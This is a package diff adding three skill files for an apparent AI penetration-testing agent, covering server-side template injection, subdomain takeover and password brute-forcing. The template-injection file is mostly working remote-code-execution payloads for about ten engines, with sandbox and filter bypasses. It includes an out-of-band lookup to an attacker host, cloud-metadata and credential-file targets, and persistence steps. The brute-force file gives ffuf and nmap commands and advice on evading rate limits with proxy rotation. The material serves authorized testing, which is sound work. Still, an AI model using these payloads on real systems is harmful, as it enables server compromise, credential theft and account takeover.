@gpzhang2001/sharpkit-skills 0.2.1

package/skills/vulnerabilities/ssti.md

@@ -0,0 +1,270 @@
+---
+name: ssti
+description: Server-side template injection across Jinja / Mako / Velocity / Freemarker / Thymeleaf / Twig / Handlebars / EJS / ERB with engine fingerprinting, sandbox escape, and RCE gadget chains
+---
+
+# Server-Side Template Injection
+
+SSTI happens when user input reaches a template engine as syntax instead of as data — `{{user_input}}` rendered through Jinja, `${user_input}` through Velocity / SpEL, `<%= user_input %>` through ERB / EJS. The eventual impact is almost always RCE because template engines are designed to evaluate expressions and most leak access to the host language's runtime (Python builtins, Java reflection, JavaScript prototypes). The discovery cost is low — a `{{7*7}}` probe — but the gadget chain to RCE differs sharply per engine, so engine fingerprinting is the load-bearing step.
+
+## Attack Surface
+
+**Input shapes that reach the renderer**
+- Form fields, query / path / header values, cookies, JSON / GraphQL variables
+- Filenames and file metadata processed by document / report templates
+- Email subject / body / template-selector fields
+- Theme / customization endpoints (CSS / HTML generation, dashboard widgets, webhook payload templates)
+- Markdown / WYSIWYG content rendered through a templating layer downstream
+
+**Code patterns that enable injection**
+- User input concatenated into a template string before `render(template_str)` instead of passed as a context variable to `render(template_obj, context)`
+- "Template editor" features for tenants / admins where the *template itself* is user-controllable
+- `format()` / `sprintf()` / printf-style chains with user-controlled format string downstream of a template
+- YAML / TOML / JSON values whose strings are later evaluated through a template
+
+**Engines in scope**
+- Python: Jinja2, Mako, Django (limited)
+- Java: Velocity, Freemarker, Thymeleaf (with SpEL), JSP EL
+- JS / Node: Handlebars, Nunjucks, EJS, Pug, Marko, Dust
+- Ruby: ERB, Haml, Slim
+- PHP: Twig, Smarty, Blade
+- .NET: Razor, RazorEngine
+
+## High-Value Targets
+
+- Email rendering pipelines (subject / body / "from" templates)
+- PDF / report generators (server-side render → headless browser)
+- CMS theme and plugin editors
+- Webhook and notification payload templates
+- API response formatters that interpolate strings (pagination labels, error messages, custom field renders)
+- Admin / tenant template editors — explicit "edit your template" features
+
+## Reconnaissance
+
+### Injection Points
+
+- Submit a benign string and grep responses (HTML, JSON, emails, PDFs) for verbatim reflection
+- Anywhere user input ends up in a value that's clearly being templated (preview panes, "your message will look like…" panels) is high-signal
+- Check error pages — many engines leak template syntax in stack traces
+
+### Engine Fingerprinting
+
+The classic differential probe — most engines evaluate exactly one of these, identifying themselves:
+
+| Probe | Renders to | Engine family |
+|---|---|---|
+| `{{7*7}}` | `49` | Jinja2 / Twig / Nunjucks |
+| `{{7*'7'}}` | `7777777` (Jinja) or `49` (Twig) | distinguishes Jinja from Twig |
+| `${7*7}` | `49` | Velocity / Freemarker / SpEL / JSP EL / Thymeleaf |
+| `<%= 7*7 %>` | `49` | ERB / EJS |
+| `#{7*7}` | `49` | Pug / some Ruby contexts |
+| `{{= 7*7 }}` | `49` | doT.js |
+
+For Thymeleaf specifically, the `*{...}` selection-expression form also evaluates but only inside a `th:object` scope; `${...}` is the universal probe.
+
+Secondary signals: error message text (engine name in stack trace), comment-syntax differential (`{# #}` Jinja vs `<%# %>` ERB vs `{* *}` Smarty), filter syntax (`|` vs `:` vs space).
+
+### Blind Probes
+
+When output isn't reflected:
+
+- **Time-based**: payload that triggers a sleep on the host language (`{{''.__class__.__mro__[1].__subclasses__()[<idx>](...)}}` for Jinja, `${T(java.lang.Thread).sleep(5000)}` for SpEL, `<%= sleep(5) %>` for ERB)
+- **OAST**: payload that performs a DNS lookup or HTTP fetch to attacker infrastructure (`{{request.application.__globals__.__builtins__.__import__('socket').gethostbyname('x.attacker.tld')}}`)
+- **Length / ETag diff**: payload whose evaluation changes the body length, even if the value isn't directly visible
+
+## Key Vulnerabilities
+
+### Jinja2 / Mako (Python)
+
+The classic Python class walk — every object exposes its method-resolution-order, which leads to `object`, which exposes every subclass loaded in the interpreter, which includes things like `subprocess.Popen`:
+
+```jinja
+{{''.__class__.__mro__[1].__subclasses__()}}
+```
+
+Locate a useful subclass and call it. Common gadgets when builtins are reachable through globals:
+
+```jinja
+{{cycler.__init__.__globals__.os.popen('id').read()}}
+{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
+{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
+```
+
+Sandbox bypass: even with `SandboxedEnvironment`, attribute-lookup tricks (`|attr('__class__')`) and `request.environ` access can re-introduce reachability. Check whether the app exposes `request`, `config`, `cycler`, or any framework global into the template context.
+
+### Velocity / Freemarker / Thymeleaf (Java)
+
+SpEL (Spring Expression Language) — used by Thymeleaf and various Spring components — reaches `Runtime` via the `T()` type operator. Note that `Runtime.exec()` returns a `java.lang.Process` object whose `toString()` is `"Process[pid=...]"`, **not** the command's stdout. To get reflected output you need to consume the process's `InputStream`:
+
+```spel
+${T(java.lang.Runtime).getRuntime().exec('id')}
+${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}
+${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
+```
+
+The first form confirms execution (rendered Process object proves the call ran); the Scanner form is universally available; the `IOUtils` form is shorter when Apache Commons IO is on the classpath. For blind contexts, validate via OAST or sleep.
+
+Freemarker's `freemarker.template.utility.Execute` is the canonical RCE gadget when not denylisted, and unlike `Runtime.exec` it returns the command output as a string directly:
+
+```freemarker
+<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
+```
+
+Velocity gadgets typically don't have `$Runtime` in context — that's not a standard Velocity built-in. The portable approach is string-class reflection from any reachable object:
+
+```velocity
+#set($s = "")
+#set($r = $s.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
+$r.exec("id")
+```
+
+This requires the default `UberspectImpl` (Velocity 1.x and Velocity 2.x without `SecureUberspector`); same `Process.toString()` caveat applies — capture stdout via `Scanner` or `BufferedReader` if reflected output is needed. If the application uses Velocity Tools, `$class` (a `ClassTool`) is often in scope and shortens the chain considerably.
+
+Thymeleaf SSTI requires control over the *template source*, not just over a model variable bound into the template — normal Spring MVC binding renders `${userInput}` as a value, never re-evaluated as SpEL. The exploitable surface is `templateEngine.process(userControlledString, ctx)`, admin-editable email / notification templates, and template fragments composed from user input. When that surface exists, the same SpEL payloads apply:
+
+```html
+<div th:utext="${T(java.lang.Runtime).getRuntime().exec('id')}"></div>
+<div th:utext="${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}"></div>
+```
+
+Confusing this with normal model binding produces false positives — confirm the template source itself is attacker-influenced before flagging.
+
+### Smarty / Twig / Blade (PHP)
+
+Twig sandbox bypasses are version-specific. The canonical historical gadget (Twig 1.x) registered `system` as an undefined-filter callback, then invoked it through the filter pipeline:
+
+```twig
+{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
+```
+
+This was patched — in Twig 2.x / 3.x `_self` returns the template name as a string and no longer exposes `.env`. Modern bypasses depend on which extensions are loaded and the active sandbox policy; consult Twig's published security advisories for the current state and probe with the version-specific gadgets (filter/function abuse, reflection on `_context` in some configs).
+
+Smarty `{php}...{/php}` was the historical RCE primitive; deprecated in Smarty 3 and removed in 4. On modern Smarty, the surface is static-method invocation and template-object reflection — `{$smarty.template_object->smarty->...}` walks back to the Smarty engine, and direct static calls on whitelisted classes (e.g. `{Smarty_Internal_Write_File::writeFile(...)}` on misconfigured installs) reach the filesystem. Probe both before assuming Smarty is hardened.
+
+Blade (Laravel) compiles templates to PHP on first render and caches the compiled output, so the dangerous paths are runtime: `Blade::render($userControlledString, ...)`, `Blade::compileString(...)` with user input, or any reachable `@php ... @endphp` block whose body is composed from user input — all three are direct RCE.
+
+### ERB / Haml (Ruby)
+
+Direct Ruby evaluation — backticks are the shortest path that *reflects* command output:
+
+```erb
+<%= `id` %>
+<%= IO.popen('id').read %>
+<% require 'open3'; out, _ = Open3.capture2('id'); %><%= out %>
+<%= system('id') %>
+```
+
+The first three render the command's stdout into the response. `system('id')` returns `true`/`false` and prints the command output to the *server's* stdout, not the HTTP body — useful for confirming execution succeeded but not for capturing output. Pair with OAST or a side-effect (file write, DNS lookup) when the response doesn't reflect anything.
+
+Haml is the same risk surface in different syntax. `instance_eval` / `class_eval` chained off any reachable object becomes RCE.
+
+### Handlebars / Nunjucks / EJS (JavaScript)
+
+EJS evaluates inline JavaScript:
+
+```ejs
+<%= require('child_process').execSync('id').toString() %>
+```
+
+Nunjucks via constructor walk on reachable objects:
+
+```nunjucks
+{{range.constructor("return require('child_process').execSync('id')")()}}
+```
+
+Handlebars itself is harder (default helpers are restricted), but custom helpers that pass arguments to `eval`, `Function`, or `child_process` re-open the surface. Also probe for prototype pollution as an SSTI amplifier — once `Object.prototype` is polluted, downstream template logic may execute attacker-controlled code paths.
+
+## Bypass Techniques
+
+**Sandbox escape — generic patterns**
+- **Attribute lookup instead of direct access**: `{{x.__class__}}` blocked? try `{{x|attr('__class__')}}`
+- **Class walk to recover deleted builtins**: `{{[].__class__.__base__.__subclasses__()}}` enumerates everything loaded
+- **String constructor games**: `'__import__'.__class__` etc., when literal `__import__` is filtered
+- **Filter / function aliasing**: same callable reachable via different names — find one not on the denylist
+- **Implicit conversion**: object whose `__str__` / `toString` triggers code, coerced via concatenation
+
+**Filter and parser evasion**
+- Whitespace / case variants in keywords: `{{7 *7}}`, `{{ 7*7 }}`, `{{7*7}}`
+- String concatenation to assemble denylisted identifiers: `{{('__cl'+'ass__')}}`, `{{request|attr('__cl'~'ass__')}}` — splits a token without a comment (Jinja's lexer doesn't recognize `{#` inside expression mode, so SQL-style `/**/` token splitting doesn't work here)
+- Encoding layering: payload arrives URL-encoded, JSON-decoded, then template-rendered — pick the encoding that survives the filter but is decoded before render
+- Operator precedence games: `((7)*(7))`, `7**7`, `7+0+7`
+- Null byte truncation: `{{x%00.evil}}` — terminates payload for some pre-template filters but not the template parser
+- Unicode normalization: smart quotes, fullwidth digits — bypasses naive denylists, normalizes back during render
+
+**Polyglot and chained evaluation**
+- Multi-engine pipelines: output of engine A feeds engine B — craft payload valid in both, or escape A and inject for B
+- Markdown / RST embedded in a template — Markdown parser may strip your payload, but a code block survives and reaches the template
+- Format string → template: printf-style format applied before template render; payload that's inert as a format string but live as a template
+
+## RCE Primitives
+
+**Direct command execution by language**
+- Python: `os.system`, `os.popen`, `subprocess.run`, `subprocess.Popen`, `__import__('os').system`
+- Java: `Runtime.getRuntime().exec`, `ProcessBuilder`, `freemarker.template.utility.Execute`
+- Ruby: backticks, `system`, `exec`, `Open3.capture2`, `IO.popen`, `%x{}`
+- JavaScript / Node: `require('child_process').execSync` / `exec` / `spawn`; `require.main.require(...)` when nested module loading is needed (`process.mainModule` is the older form, deprecated since Node 14 but still present in most CJS contexts)
+- PHP: `system`, `passthru`, `exec`, `shell_exec`, backticks, `popen`
+
+**Indirect / second-stage**
+- File write to webroot → trigger via subsequent HTTP request (when shell exec is blocked but file write isn't)
+- Define a function / macro inline that runs on next render
+- Unsafe deserialization gadget invoked through template (Java `ObjectInputStream`, Python `pickle`, PHP `unserialize`)
+- DNS / HTTP exfiltration when shell exec produces no observable output
+
+## Post-Exploitation
+
+- Environment dump (`env`, `os.environ`, `System.getenv`) — credentials, cloud metadata tokens, internal URLs
+- Cloud metadata fetch (`http://169.254.169.254/latest/meta-data/`, `http://metadata.google.internal/`) — IAM tokens
+- Read filesystem secrets (`.env`, `.aws/credentials`, `~/.ssh/`, `/proc/self/environ`)
+- Lateral via internal HTTP — service mesh endpoints reachable from the rendering host
+- Persistence: cron, scheduled task, systemd unit, `~/.ssh/authorized_keys`, web shell in webroot
+
+## Testing Methodology
+
+1. **Find templated input** — anywhere a server clearly templated user input (preview panes, email previews, dynamic dashboards, custom fields)
+2. **Fingerprint the engine** — run the differential probe table; confirm with a second probe
+3. **Confirm evaluation, not reflection** — `{{7*7}}` rendering as `49` (not `{{7*7}}` literally) is the line between XSS and SSTI
+4. **Probe sandbox state** — try `{{self}}`, `{{config}}`, `{{request}}`, `{{cycler}}` (Jinja); `${self}`, `${T(java.lang.Class)}` (Java); `<%= self %>` (Ruby) — reachable globals are the gadget pool
+5. **Enumerate gadgets** — class walk for Python / Node, reflection for Java, `require` chain for Node
+6. **Reach RCE** — pick the shortest gadget chain to a shell-equivalent primitive
+7. **Validate side effects** — DNS callback, file write, sleep — anything observable that proves execution
+
+## Validation
+
+1. Show evaluated output for two distinct expressions (`{{7*7}}` → `49` and `{{7*8}}` → `56`) to rule out coincidence or hard-coded reflection
+2. Demonstrate object access (`{{self.__class__}}`, `${T(java.lang.Class)}`) confirming runtime reflection
+3. Demonstrate side effect — DNS lookup to attacker-controlled domain, sleep with measurable delta, file written to a known path
+4. For RCE: command output captured in response, file written, or OAST callback containing command output
+5. Provide minimal payload — the simplest expression that reaches RCE, not the kitchen-sink polyglot
+
+## False Positives
+
+- Template syntax reflected literally (`{{7*7}}` rendered as `{{7*7}}`) — that's XSS-shaped, not SSTI
+- Sandboxed environments where reflection succeeds but reachable objects expose nothing useful (Jinja `SandboxedEnvironment` with no `request` / `config` in context)
+- Client-side template engines (Vue, Angular, Mustache running in the browser) — that's client-side template injection, different impact (XSS, not RCE)
+- Markdown / static-site generators that template at build time only, with no user input reaching the build
+- Engines where the output is HTML-escaped before display, masking evaluation as XSS-like reflection — verify with a non-HTML probe (`{{7*7}}` numeric)
+
+## Impact
+
+- Remote code execution on the rendering host (the default outcome — almost every engine leaks a path to it)
+- Server-side data exfiltration via gadget chains (filesystem, env vars, internal HTTP)
+- Cloud credential theft via metadata service access from the compromised host
+- Lateral movement into internal services reachable from the renderer
+- Persistent backdoor via web shell or service-account key planting
+- Build / supply-chain compromise when the templated content is a build artifact
+
+## Pro Tips
+
+1. Always confirm with a second math probe (`{{7*8}}`) before celebrating — single-shot reflection of `49` could be coincidental
+2. Engine fingerprint first, gadget chain second — wrong-engine payloads are wasted requests and noise in WAF logs
+3. For Jinja, the highest-yield reachable global varies by framework (`request` in Flask, `config` always present, `cycler` in older Jinja); spray all three before walking subclasses
+4. SpEL is everywhere in Spring stacks — Thymeleaf, Spring Security expression language, Spring Cloud Gateway routes; the same payload shape (`${T(java.lang.Runtime)...}`) works across all of them
+5. EJS / Nunjucks are common in Express / Koa apps — `require('child_process').execSync('id')` if `require` is in scope (EJS), or escape via `range.constructor("return require('child_process')...")()` for Nunjucks; `process.mainModule.require(...)` is the older form, deprecated since Node 14
+6. Sandbox escapes are usually one indirection away — `attr` lookup, constructor traversal, MRO walk; most "sandboxed" environments still reach the runtime if you go through attribute access instead of direct reference
+7. Output not reflected? Time-based and OAST work as well as for SQLi — `${T(java.lang.Thread).sleep(5000)}` for SpEL, `{{cycler.__init__.__globals__.__import__('time').sleep(5)}}` (or the `request.application.__globals__.__builtins__` walk in Flask) for Jinja — bare `__import__` is not in the template namespace and will raise `UndefinedError`
+8. Email previews and PDF generators are gold mines — they're often built on the same engine as the public site but exposed to less-validated input flows
+
+## Summary
+
+SSTI is fundamentally different from XSS at the same syntactic location: the payload runs on the server, in the host language, with whatever objects the engine exposes. Engine fingerprinting via the math-probe table narrows the search space immediately. From there it's a race between the sandbox's denylist and the language's reflection capability — and the language usually wins. Treat any user input that reaches a template renderer (not a templated context variable) as RCE-shaped until proven sandboxed.

package/skills/vulnerabilities/subdomain_takeover.md

@@ -0,0 +1,167 @@
+---
+name: subdomain-takeover
+description: Subdomain takeover testing for dangling DNS records and unclaimed cloud resources
+---
+
+# Subdomain Takeover
+
+Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.
+
+Use `infrastructure_lifecycle` instead for expired registrable domains, MX/recovery identity, update/control endpoints, or long-lived software consumers. Provider error fingerprints are leads; confirm current claimability and custom-domain ownership requirements from authoritative provider behavior/documentation.
+
+## Attack Surface
+
+- Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)
+- Orphaned NS delegations (child zones with abandoned/expired nameservers)
+- Decommissioned SaaS integrations (support, docs, marketing, forms) referenced via CNAME
+- CDN "alternate domain" mappings (CloudFront/Fastly/Azure CDN) lacking ownership verification
+- Storage and static hosting endpoints (S3/Blob/GCS buckets, GitHub/GitLab Pages)
+
+## Reconnaissance
+
+### Enumeration Pipeline
+
+- Subdomain inventory: combine CT (crt.sh APIs), passive DNS sources, in-house asset lists, IaC/terraform outputs
+- Resolver sweep: use IPv4/IPv6-aware resolvers; track NXDOMAIN vs SERVFAIL vs provider-branded 4xx/5xx
+- Record graph: build a CNAME graph and collapse chains to identify external endpoints
+
+### DNS Indicators
+
+- CNAME targets ending in provider domains: `github.io`, `amazonaws.com`, `cloudfront.net`, `azurewebsites.net`, `blob.core.windows.net`, `fastly.net`, `vercel.app`, `netlify.app`, `herokudns.com`, `trafficmanager.net`, `azureedge.net`, `akamaized.net`
+- Orphaned NS: subzone delegated to nameservers on a domain that has expired or no longer hosts authoritative servers
+- MX to third-party mail providers with decommissioned domains
+- TXT/verification artifacts (`asuid`, `_dnsauth`, `_github-pages-challenge`) suggesting previous external bindings
+
+### HTTP Fingerprints
+
+Service-specific unclaimed messages (examples):
+- **GitHub Pages**: "There isn't a GitHub Pages site here."
+- **Fastly**: "Fastly error: unknown domain"
+- **Heroku**: "No such app" or "There's nothing here, yet."
+- **S3 static site**: "NoSuchBucket" / "The specified bucket does not exist"
+- **CloudFront**: 403/400 with "The request could not be satisfied"
+- **Azure App Service**: default 404 for azurewebsites.net unless custom-domain verified
+- **Shopify**: "Sorry, this shop is currently unavailable"
+
+TLS clues: certificate CN/SAN referencing provider default host instead of the custom subdomain
+
+## Key Vulnerabilities
+
+### Claim Third-Party Resource
+
+- Create the resource with the exact required name:
+  - Storage/hosting: S3 bucket "sub.example.com" (website endpoint)
+  - Pages hosting: create repo/site and add the custom domain
+  - Serverless/app hosting: create app/site matching the target hostname
+
+### CDN Alternate Domains
+
+- Add the victim subdomain as an alternate domain on your CDN distribution if the provider does not enforce domain ownership checks
+- Upload a TLS cert or use managed cert issuance
+
+### NS Delegation Takeover
+
+- If a child zone is delegated to nameservers under an expired domain, register that domain and host authoritative NS
+- Publish records to control all hosts under the delegated subzone
+
+### Mail Surface
+
+- If MX points to a decommissioned provider, takeover could enable email receipt for that subdomain
+
+## Advanced Techniques
+
+### Blind and Cache Channels
+
+- CDN edge behavior: 404/421 vs 403 differentials reveal whether an alt name is partially configured
+- Cache poisoning: once taken over, exploit cache keys to persist malicious responses
+
+### CT and TLS
+
+- Use CT logs to detect unexpected certificate issuance for your subdomain
+- For PoC, issue a DV cert post-takeover (within scope) to produce verifiable evidence
+
+### OAuth and Trust Chains
+
+- If the subdomain is whitelisted as an OAuth redirect/callback or in CSP/script-src, takeover elevates to account takeover or script injection
+
+### Verification Gaps
+
+- Look for providers that accept domain binding prior to TXT verification
+- Race windows: re-claim resource names immediately after victim deletion
+
+### Wildcards and Fallbacks
+
+- Wildcard CNAMEs to providers may expose unbounded subdomains
+- Fallback origins: CDNs configured with multiple origins may expose unknown-domain responses
+
+## Special Contexts
+
+### Storage and Static
+
+- S3/GCS/Azure Blob static sites: bucket naming constraints dictate whether a bucket can match hostname
+- Website vs API endpoints differ in claimability and fingerprints
+
+### Serverless and Hosting
+
+- GitHub/GitLab Pages, Netlify, Vercel, Azure Static Web Apps: domain binding flows vary
+- Most require TXT now, but historical projects may not
+
+### CDN and Edge
+
+- CloudFront/Fastly/Azure CDN/Akamai: alternate domain verification differs
+- Some products historically allowed alt-domain claims without proof
+
+### DNS Delegations
+
+- Child-zone NS delegations outrank parent records
+- Control of delegated NS yields full control of all hosts below that label
+
+## Testing Methodology
+
+1. **Enumerate subdomains** - Aggregate CT logs, passive DNS, and org inventory
+2. **Resolve DNS** - All RR types: A/AAAA, CNAME, NS, MX, TXT; keep CNAME chains
+3. **HTTP/TLS probe** - Capture status, body, error text, Server headers, certificate SANs
+4. **Fingerprint providers** - Map known "unclaimed/missing resource" signatures
+5. **Attempt claim** (with authorization) - Create missing resource with exact required name
+6. **Validate control** - Serve minimal unique payload; confirm over HTTPS
+
+## Validation
+
+1. Before: record DNS chain, HTTP response (status/body length/fingerprint), and TLS details
+2. After claim: serve unique content and verify over HTTPS at the target subdomain
+3. Optional: issue a DV certificate (legal scope) and reference CT entry as evidence
+4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping)
+
+## Severity
+
+- Score severity based on current claimability plus trusted-origin impact, not just a provider-branded error page
+- When evaluating severity, use `web_search` (if available) for the exact provider/product to confirm whether it now enforces subdomain takeover prevention such as TXT/custom-domain ownership verification or reserved-hostname protections; if search is unavailable, do not treat that absence as evidence that the provider prevents claiming
+- If you have positively confirmed the provider currently prevents third-party claiming and you cannot bypass that control, treat the finding as low severity rather than a confirmed takeover — an unconfirmed provider control is not grounds for downgrading
+- Reserve high/critical severity for cases where you can claim the resource or strongly prove claimability and show meaningful impact such as OAuth redirect abuse, cookie scope abuse, CSP trust, email receipt, or NS delegation control. E.g. Elastic Beanstalk takeovers are still generally legitimate.
+
+## False Positives
+
+- "Unknown domain" pages that are not claimable due to enforced TXT/ownership checks
+- Provider-branded default pages for valid, owned resources (not a takeover)
+- Soft 404s from your own infrastructure or catch-all vhosts
+
+## Impact
+
+- Content injection under trusted subdomain: phishing, malware delivery, brand damage
+- Cookie and CORS pivot: if parent site sets Domain-scoped cookies or allows subdomain origins
+- OAuth/SSO abuse via whitelisted redirect URIs
+- Email delivery manipulation for subdomain
+
+## Pro Tips
+
+1. Build a pipeline: enumerate (subfinder) → resolve (dig) → probe (httpx) → fingerprint (nuclei/custom) → verify claims
+2. Maintain a current fingerprint corpus; provider messages change frequently
+3. Prefer minimal PoCs: static "ownership proof" page and, where allowed, DV cert issuance
+4. Monitor CT for unexpected certs on your subdomains
+5. Eliminate dangling DNS in decommission workflows first
+6. For NS delegations, treat any expired nameserver domain as critical
+7. Use CAA to limit certificate issuance while you triage
+
+## Summary
+
+Subdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle.

package/skills/vulnerabilities/weak_password_detection.md

@@ -0,0 +1,200 @@
+---
+name: weak-password-detection
+description: Weak password detection, credential stuffing, and brute-force testing using common passwords, system-generated credentials, and HTTP fuzzing / NSE brute-force tooling
+---
+
+# Weak Password Detection / Credential Brute-Force
+
+Weak or default credentials remain one of the most prevalent and high-impact vulnerabilities. This skill covers systematic detection of weak passwords through dictionary attacks, credential stuffing, system-generated password prediction, and brute-force tooling.
+
+## Attack Surface
+
+- Login portals (web, API, mobile, SSH, FTP, Telnet, RDP)
+- Admin panels, dashboards, and management interfaces
+- Default or hardcoded credentials in applications and devices
+- Self-registration flows with weak password policies
+- Password reset flows that generate predictable tokens or passwords
+- API key and token authentication with weak secrets
+
+## Reconnaissance
+
+### Identify Authentication Endpoints
+
+- Standard login forms: `/login`, `/signin`, `/auth`, `/authenticate`, `/api/login`
+- Admin panels: `/admin`, `/administrator`, `/manage`, `/console`, `/cpanel`
+- API auth: `/api/v1/token`, `/oauth/token`, `/api/auth`, `/graphql` (login mutations)
+- Service ports: SSH (22), FTP (21), Telnet (23), SMB (445), RDP (3389), MySQL (3306), PostgreSQL (5432), Redis (6379), MongoDB (27017)
+- Mobile app login endpoints and deep-link auth handlers
+
+### Determine Authentication Mechanism
+
+- Form-based (POST with username/password fields)
+- Basic Authentication (Base64 `Authorization: Basic ...`)
+- Bearer token / JWT (password grant flow)
+- API key in header, query parameter, or body
+- Multi-step authentication (username first, then password)
+- CAPTCHA presence and type (reCAPTCHA, hCaptcha, image-based, math)
+- Rate limiting indicators (429 responses, lockout messages, delays)
+
+### Enumerate Valid Usernames
+
+- Error message differentiation: "Invalid username" vs "Invalid password"
+- Registration page username availability checks
+- Password reset flow: response timing or message leakage
+- Public profiles, API responses, or metadata exposing usernames
+- Common patterns: `admin`, `administrator`, `root`, `user`, `test`, `guest`, `support`, `service`, `api`, `dev`, `ops`
+- Email format derivation from company domain patterns
+
+## Key Vulnerabilities
+
+### Weak Password Policies
+
+- No minimum length or complexity requirements
+- Allowing common passwords: `password`, `123456`, `qwerty`, `admin`, `letmein`
+- Not checking against breached password databases (Have I Been Pwned)
+- Case-insensitive password storage
+- No password history enforcement
+- Excessively short maximum length (indicates plaintext or weak hashing)
+
+### Default and Hardcoded Credentials
+
+- Vendor defaults: `admin/admin`, `admin/password`, `root/root`, `guest/guest`
+- Application frameworks: `django/admin`, `tomcat/tomcat`, `weblogic/weblogic`
+- IoT devices, routers, cameras: manufacturer-specific defaults
+- Database defaults: `postgres/postgres`, `sa/sa`, `root/(empty)`
+- Cloud defaults: AWS instance metadata, Azure default service principals
+- Hardcoded in source code, configuration files, or documentation
+
+### Credential Stuffing
+
+- Users reuse passwords across services
+- Breached credential lists (COMB, Collection #1-5, etc.) enable mass account takeover
+- No multi-factor authentication allows direct access with valid credentials
+- Missing breach detection or forced password rotation after known leaks
+
+### Predictable System-Generated Passwords
+
+- Sequential or pattern-based: `Password1`, `Welcome2025!`, `CompanyName123`
+- Time-based generation: passwords derived from registration timestamp
+- Weak randomness: predictable PRNG seeds in password generators
+- Reset tokens that double as temporary passwords with short expiration
+
+### Brute-Force Vulnerabilities
+
+- No rate limiting on login attempts
+- Absent or ineffective account lockout (client-side only, easily bypassed)
+- IP-based blocking without session/user correlation (rotate IPs via proxy)
+- CAPTCHA bypassable or only triggered after excessive attempts
+- Parallel login attempts not tracked (race conditions on attempt counters)
+- Verbose error messages revealing valid usernames
+
+## Advanced Techniques
+
+### Targeted Password Lists
+
+- Generate custom wordlists from:
+  - Company name, product names, and domain components
+  - Geographic location, industry terms
+  - Season + year patterns: `Summer2025!`, `Winter2026@`
+  - Keyboard walks and leet speak variations
+  - Previously breached passwords for the target domain
+- Scrape the target site to build a content-derived wordlist (e.g. a small custom Python crawler that harvests unique words)
+
+### Credential Stuffing Workflows
+
+- Use breach databases filtered by target domain or related domains
+- Test email:password pairs where email matches target domain
+- Test username:password pairs with common username derivations
+- Validate successful logins without triggering MFA by checking session endpoints
+
+### Multi-Step Authentication Bypass
+
+- Username enumeration → password brute-force on second step
+- Session fixation between steps: manipulate step identifiers
+- Skip steps via direct URL access to later stages
+- Response manipulation to bypass verification checks
+
+### API and Mobile-Specific
+
+- GraphQL login mutations: batch brute-force via array inputs
+- Mobile APIs often lack rate limiting compared to web frontends
+- JWT password grant flows: brute-force against `/token` endpoint
+- OAuth2 password grant: test `grant_type=password` with weak credentials
+
+### Service-Level Brute-Force
+
+- HTTP login endpoints: `ffuf` or custom scripts (see Tooling)
+- SSH/FTP/SMB/Telnet and other services: `nmap` NSE `*-brute` scripts, e.g. `nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt target.com`
+- Databases (MySQL, PostgreSQL, MongoDB, Redis): weak/default credentials via the matching NSE brute script (`mysql-brute`, `pgsql-brute`, `mongodb-brute`, `redis-brute`) or a custom client script
+- Any protocol lacking a ready script: custom Python
+
+## Tooling
+
+### ffuf (primary for web logins)
+
+- Login brute-force with multiple users and passwords:
+  `ffuf -w users.txt:USER -w passwords.txt:PASS -u https://target.com/login -X POST -d "username=USER&password=PASS" -fr "Invalid"`
+- JSON body / custom headers via `-H` and a JSON `-d` payload
+- Filter by response size, status code, or regex to identify successes
+
+### nmap NSE (service brute-force)
+
+- `*-brute` scripts cover many non-HTTP services:
+  `nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt target.com`
+- Available scripts include `ssh-brute`, `ftp-brute`, `smb-brute`, `telnet-brute`, `mysql-brute`, `pgsql-brute`, `mongodb-brute`, `redis-brute`, `http-brute`, `http-form-brute`.
+
+### Custom Python Scripts
+
+- Use `requests` with threading for high-speed API brute-force
+- Implement jitter and proxy rotation to evade rate limiting
+- Parse CSRF tokens dynamically between requests
+
+### Wordlists
+
+No password wordlists ship in the sandbox by default — download what you need into `/home/pentester/tools/wordlists` at runtime:
+- Common passwords (e.g. `rockyou.txt`) from its upstream source
+- SecLists `Passwords/` and `Passwords/Default-Credentials/` (vendor defaults) from https://github.com/danielmiessler/SecLists
+- Custom lists from target-specific scraping
+- Breach compilation subsets filtered by target relevance
+
+## Validation
+
+1. Confirm successful login with captured credentials (session token, cookie, or JWT)
+2. Verify account access level: admin vs user privileges
+3. Check if MFA is enforced post-login or can be bypassed
+4. Test credential reuse across other endpoints or services
+5. Document password policy weaknesses that allowed the breach
+6. Verify if the same credentials work on staging, dev, or related domains
+
+## False Positives
+
+- Honey accounts or honeypot responses designed to mislead attackers
+- Temporary lockouts that resolve quickly (distinguish from permanent bans)
+- Different error messages that don't actually indicate valid username enumeration
+- CAPTCHA or WAF blocking that appears as a failed login
+- Rate limiting that returns 429 instead of 401 (adjust timing)
+
+## Impact
+
+- Complete account takeover for affected users
+- Administrative access leading to full system compromise
+- Lateral movement via reused credentials across services
+- Data exfiltration, privilege escalation, and persistence
+- Reputational damage and compliance violations (GDPR, PCI-DSS)
+
+## Pro Tips
+
+1. Always start with default credentials and vendor-specific lists before broad brute-force
+2. Enumerate usernames first; password brute-force without valid users is inefficient
+3. Use small, targeted wordlists before massive lists like rockyou.txt
+4. Monitor for rate limiting and adapt delays; aggressive brute-force causes IP bans and alerts
+5. Test for password spraying (one password, many users) before targeted brute-force
+6. Check for concurrent session limits; successful logins may kick out legitimate users
+7. GraphQL batching can test multiple credentials in a single request, bypassing per-request limits
+8. Document the password policy and recommend minimum standards (length, complexity, breach checking)
+9. For web logins prefer `ffuf`; for other services use `nmap` NSE `*-brute` scripts or custom scripts with equivalent logic
